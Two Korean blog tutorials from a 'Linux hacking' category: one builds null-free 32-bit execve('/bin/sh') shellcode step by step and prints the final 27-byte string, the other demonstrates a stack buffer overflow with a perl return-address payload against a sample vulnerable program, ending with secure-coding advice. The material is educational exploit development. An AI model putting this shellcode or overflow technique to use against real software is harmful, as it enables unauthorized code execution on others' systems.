'리눅스해킹'에 해당되는 글 2건

  1. 2015.03.12 리눅스 쉘코드(Shell Code)만들기 (1)
  2. 2015.03.12 버퍼오버플로우(Buffer Overflow) 해킹기법이란?? (2)
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

버퍼 오버플로우나 포맷스트링버그 등의 취약점을 이용해서 해킹을 하는데

이때 임의의 데이터를 입력할때, 쉘을 실행 시켜주는 루틴을 넣어주는데 이것이 바로 쉘코드입니다.
그럼 이번 장에서는 쉘코드를 어떻게 만드는지 써보고자합니다.
리눅스상에서는 쉘을 실행시켜주는 명령어 함수가 뭐가 있을까요??
system(), execve(), execpl() 등등이 있는데 비교적 사용법이 단순한 execve() 함수로 작성을 해보겠습니다.
아래와 같이 간단한 코딩을 해보겠습니다.

** 테스트한 환경은 32비트 우분투 리눅스 9.x 입니다.**

1. 쉘코드 프로그래밍 하기

  1. void main()
  2. {
  3.         execve("/bin/sh",NULL,NULL);
  4. }
  5. // compile : gcc -o mkshell mkshell.c -static

단순히 리눅스 쉘을 실행시켜주는 프로그램인데, 우리에게 필요한건 저 쉘을 실행시켜주는 기계어 루틴입니다.
그리고 컴파일할때 반드시 -static 옵션을 주고 컴파일하세요!!
컴파일한후에, gdb 명령어로 실행시켜줍니다.
그리고 gdb의 disas 명령어로 execve() 루틴을 분석해보겠습니다.

2.쉘코드 분석하기

execve 함수는 위와같은 어셈블리 코드로 이루어져있군요.
분석을 해보도록 하겠습니다.

  1. 0x0804e723 <execve+3>:  mov    0x10(%ebp),%edx // 세 번째 파라미터
  2. 0x0804e726 <execve+6>:  push   %ebx
  3. 0x0804e727 <execve+7>:  mov    0xc(%ebp),%ecx  // 두 번째 파라미터
  4. 0x0804e72a <execve+10>: mov    0x8(%ebp),%ebx  //문자열의 주소, 첫번째파라미터
  5. 0x0804e72d <execve+13>: mov    $0xb,%eax
  6. 0x0804e732 <execve+18>: int    $0x80

그러니깐.. 3개의 파라미터("/bin/bash", NULL,NULL)을 인자로 주고, eax 레지스터에 0xb를 넣은다음에, 인터럽트 명령어 int 0x80을 실행시켜주면 execve() 함수가 실행되는거였군요!! 
그럼 어셈블리코드를 뽑아서 다시 컴파일 해보도록하겠습니다.

3. 쉘코드 뽑아내기

  1. #include <stdio.h>
  2.  
  3. char buf[] = "/bin/sh";
  4.  
  5. void main()
  6. {
  7.         printf("%p\n",buf);
  8.         __asm__("mov $0x0, %edx");
  9.         __asm__("mov $0x0, %ecx");
  10.         __asm__("mov $0x804a014, %eax");        //buf의 주소
  11.         __asm__("int $0x80");
  12. }
  13. /* compile: gcc -o shellcode shellcode.c

저기서 0x804a014 라는 주소는 buf 문자열버퍼의 주소입니다. ASLR을 해제한후에 자신의 프로그램에 잡힌 buf의 주소를 지정해주세요. 그런데 문제점이 하나 발생했습니다. 쉘을 실행시켜야할 문자열("/bin/sh")주소는 프로그램마다, 운영체제 버전마다 다를수 있습니다.

이에 대한 해결책으로는 call 어셈블리를 사용하면 됩니다.  

아래와같이 어셈블리코드를 짜주세요. (단 확장자를 .s 로할것)
  1. .global main
  2. main:
  3.         jmp strings #strings 주소부터 시작됨
  4. start:
  5.         movl $0xb, %eax
  6.         movl $0x0, %edx
  7.         movl $0x0, %ecx
  8.  
  9.         popl %ebx  #문자열의 주소가 pop되어 ebx에 저장됨
  10.         int $0x80
  11.  
  12. strings:
  13.         call start #start를 호출하면서 "/bin/sh"의 주소가 push됨
  14.         .string "/bin/sh"
  15. # compile : gcc -o mkshell mkshell.s

이코드를 컴파일후 나온 기계어를 objdump 유틸을 사용해서 기계어만 뽑아내도록 하겠습니다.



뽑아내니 아래와같은 헥스코드 문자열이 나오는군요

"\xb8\x0b\x00\x00\x00"

"\xba\x00\x00\x00\x00"

"\xb9\x00\x00\x00\x00"

"\x5b"

"\xcd\x80"

"\xe8\xe9\xff\xff\xff\x2f"

"/bin/sh\x0";


이코드를 실행하도록 해보겠습니다.


  1. char buf[] =
  2. "\xb8\x0b\x00\x00\x00"
  3. "\xba\x00\x00\x00\x00"
  4. "\xb9\x00\x00\x00\x00"
  5. "\x5b"
  6. "\xcd\x80"
  7. "\xe8\xe9\xff\xff\xff\x2f"
  8. "/bin/sh\x0";
  9.  
  10. void main()
  11. {
  12.         int *ret;
  13.         ret = (int*)&ret +2;
  14.         (*ret) = (int)buf;
  15.        
  16. }
  17. /* compile : gcc -o shellcode shellcode.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


실제 데이터를 입력할때는 저위에 "\xb8\x0b\x00~~ 의 기계어를 넣어주는 것입니다.
그런데 또 문제점이 하나 생겼습니다. 

4. 널('\0') 바이트 제거하기
 
 문제점이 뭐냐하면 쉘코드 내부에 널('\x00') 바이트가 포함되었다는 것입니다.
바로 strcpy, gets, sprintf 등의 버퍼오버플로우 발생 함수는 널바이트를 끝으로 데이터복사를 끝낸다는 것입니다. 그러니까 우리가 쉘코드를 제대로 넣기 위해서는 널바이트를 반드시 제거해야합니다.

 여기서 NULL문자가 나오는 명령어로 대표적인것이 movl 명령어입니다.

이는 xor를 사용하면 간단히 해결할수 있습니다. mov $0x0, %ecx를 xor %ecx, %ecx로 바꾸어주면 ecx는 0으로 초기화 됩니다. 더군다나 쉘코드의 크기도 작아집니다 mov는 5바이트만 먹는반면, xor는 2바이트면 충분합니다.

eax에 0x0b를 집어넣는것은 우선 eax를 xor로 0으로초기화하고 movb 0x0b, %al로 바꾸어주면 기계어에서 널문자가 사라집니다.

아래와 같이 개선해서 다시 코딩해주었습니다.

  1. .global main
  2. main:
  3.         jmp strings #strings 주소부터 시작됨
  4. start:
  5.         #movl $0xb, %eax
  6.         xor %eax, %eax
  7.         #movl $0x0, %edx
  8.         xor %edx, %edx
  9.         #movl $0x0, %ecx
  10.         xor %ecx, %ecx
  11.         movb $0xb, %al
  12.  
  13.         popl %ebx
  14.         int $0x80
  15.  
  16. strings:
  17.         call start #start를 호출하면서 "/bin/sh"의 주소가 push됨
  18.         .string "/bin/sh"
  19. # compile : gcc -o mkshell mkshell.s

위의 코드를 컴파일 해서 objdump로 기계어를 뽑아내보겠습니다.


뽑아낸 쉘코드는

"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";

군요!!


  1. char buf[] =
  2. "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack

뽑아낸 쉘코드를 컴파일해서 실행해보세요. (27바이트 쉘코드)


쉘코드가 잘 실행되고 있군요!!

5. 마치며

 지금까지 간단한 쉘코드를 작성하는 방법을 알아보았습니다. 지금은 로컬 쉘코드를 만들었는데, 공격자의 목적에따라 다양한 쉘코드를 만들수 있습니다. 대표적인 예가 리버스텔넷 쉘코드, 바인드 쉘코드, 특정 사용자 추가 쉘코드 등등이 있을수 있는데 위와 같은 방법을 통해 작성되게 됩니다.

 참고자료
- 인터넷 및 블로깅
http://pds5.egloos.com/pds/200707/02/74/freebsd_shellcode.pdf
http://ezbeat.tistory.com/150
- 관련 링크

 버퍼오버플로우(Buffer Overflow) 해킹기법이란??

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Posted by 캐스피
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written by kaspy (kaspyx@gmail.com)
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정보보안 분야에서 버퍼오버플로우(Buffer Overflow) 해킹기법은 그 역사가 굉장히 오래되었고, 발생했을시에 굉장히 심각한 결함으로 이어질수 있는 취약점입니다. 


버퍼오버플로우 해킹기법의 최초 시발점은 1988년 모리스웜을 들수있습니다.  

네트워크를 통해 데이터를 입력받아 처리했던 당시의 컴퓨터는 웜에 의해 수천대의 컴퓨터가 감염되어 파괴되었고, 피해액만  100만달러가 넘었다고하네요.

버퍼오버플로우에 대한 간단한 정의를 하자면, 어떤 프로그램에 비정상적인 데이터를 많이 주입하여, 오류를 발생시키거나, 임의의 악성 코드를 실행하게 만드는 기법이라고 할수있습니다.(이하 BoF)

BoF 취약점은 포인터가 존재하는 c/c++ 및 c# 으로 작성된 프로그램 등에 존재하는 취약점입니다.

아래와 같은 간단한 소스코드를 봐보세요.

(해당 취약점은 우분투 리눅스 9.04 에서 테스트 하였습니다.)
  1. #include <stdio.h>
  2. void  foo(){
  3.    char name[5];
  4.    printf("enter name\n");
  5.    scanf("%s", name);
  6.    printf("you entered %s \n", name);
  7. }
  8. int main(){
  9.    foo();
  10.    printf("program ends here\n");
  11.    return 0;
  12. }
/* 컴파일 : gcc -o vuler vuler.c */

위의 소스를 컴파일 해서 실행해봅시다.

분명 foo() 함수에서 이름을 입력받고, main() 함수로 복귀한후에, program ends here 라는 문구가 출력되고 종료가 되어야합니다.

네글자를 입력했을때는 잘되는것처럼 보입니다. 그런데, 5글자 이상을 입력하는 순간 Segmentation fault 라는 에러가 나는군요. 과연 어디서 잘못되서 에러가 나는걸까요??

우선 scanf() 함수는 bof 취약점을 가진 함수입니다. 

무슨 말이냐하면, 입력받은 데이터의 크기를 고려하지않고 모두 복사해버린다는 것입니다. 

(이외에도, gets, sprintf, strcpy 등등의 함수등이 BoF 취약점을 가지고있습니다.)

gdb로 한번 확인해보겠습니다.


EBP (스택 베이스 포인터)를 기준으로 name이라는 지역변수 5바이트 공간을 확보하는것을 확인할수 있습니다.

그럼 프로그램이 실행되었을때, 메모리 레이아웃은 아래와 같이 되어있습니다.



여기서부터 어셈블리에 대해서 약간의 이해가 필요한데, 프로그램은 지역변수를 다룰때 (예를들어 foo() 함수내부의 name) 스택이라는 메모리를 사용하여 저장을 합니다. 지역 변수 이외에도, 함수 호출부의 복귀지점(RET) 및 함수 시작 베이스주소(EBP) 등을 저장하여 사용하고 있습니다. 

여기서 RET 변수는 foo() 함수가 끝나고

  1.    printf("program ends here\n");

의 주소라고 생각할수 있겠죠??

그런데 문제는 스택 메모리 영역에 잡힌 name의 사이즈 크기보다 많은 데이터가 입력되었을 경우입니다.



foo() 함수가 호출되고 ret문은 어디일까요?? 바로 0x0804874 입니다.

"kim" 을 입력하였을때, 메모리 레이아웃은 아래와 같이 나온다고 할수 있습니다.



그렇다면 name 버퍼 지역변수가 잡힌 크기를 입력하면 어떻게될까요?? 

aaaaa...를 쭈욱 입력하였을 경우 foo함수가 실행되었을떄 아래와같이 메모리 레이아웃이 잡히게 되버립니다.

(우선 여기서 EBP 레지스터는 크게 중요하지않으므로, EBP 설명은 생략하겠습니다.)



문제는 위에서처럼 함수의 복귀지점 (RET) 부가 "aaaa" 로 뒤덮여버렸기 때문에 발생합니다. 

컴퓨터는 문자열도 결국 숫자로 다루기 때문에 foo() 함수가 끝나고 복귀지점이 0x41414141 ('a' = 0x41) 로 점프를 하게되고, 이주소는 전혀 모르는 주소이기 때문에 프로그램은 오류가 발생하는것입니다.

여기서 우리는 사용자의 입력을 통해서 프로그램의 흐름을 임의로 바꿀수 있다는 힌트를 얻을수 있습니다.

우리의 입력을 통해서 foo() 함수를 2번 출력할수 있을까요??, 네 가능합니다.


간단한 계산이 필요한데, 우선

5바이트의 지역버퍼 및 그위에 EBP의 값 4바이트를 AAAA로 밀어버립니다.

그다음에, 우리가 원하는 다음 실행주소를 입력해주면 되는것입니다.

페이로드는 아래와 같이 계산할수 있습니다.


5(name) + 4(EBP) + RET


우리가 원하는 foo() 함수를 한번더 실행하기 위해 foo() 함수의 주소값을 RET에 넣도록 하겠습니다.

그런데 값을 넣을때는 Intell 구조는 리틀 엔디안 방식을 사용하기 때문에 거꾸로 넣어줘야 합니다.

0x0804874라면 "\x74\x48\x04\x08" 이런식으로요.


perl -e 'print "a"x9,"\x74\x48\x04\x08"' > exploit


으로 파일을 만들어서 

 

./vuler < exploit 


이렇게 실행해주면 됩니다.

foo() 함수가 두번 실행되네요!



이로써 프로그램 사용자의 입력을 통해서, 취약한 프로그램의 임의의 코드루틴을 실행할수 있다는것을 확인하였습니다.

사용자가 임의로 주입한 코드도 실행가능하다는 소리입니다.

악의적인 사용자는 프로그램의 취약점을 파악한뒤, 임의의 악성코드를 입력하여, 실행하는 방법으로 해킹을 합니다.

그렇다면 이러한 취약점을 어떻게 예방할수 있을까요??

네 바로 scanf() 함수대신, 버퍼의 길이를 체크해주는 fscanf(), strcpy() 함수대신 strncpy() 함수를 사용하는 것입니다.

시큐어 코딩가이드 에서는 버퍼의길이를 체크하지않은채 메모리 복사를 진행하는 함수에대해 사용하지 말것을 권고하고있습니다.


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Posted by 캐스피


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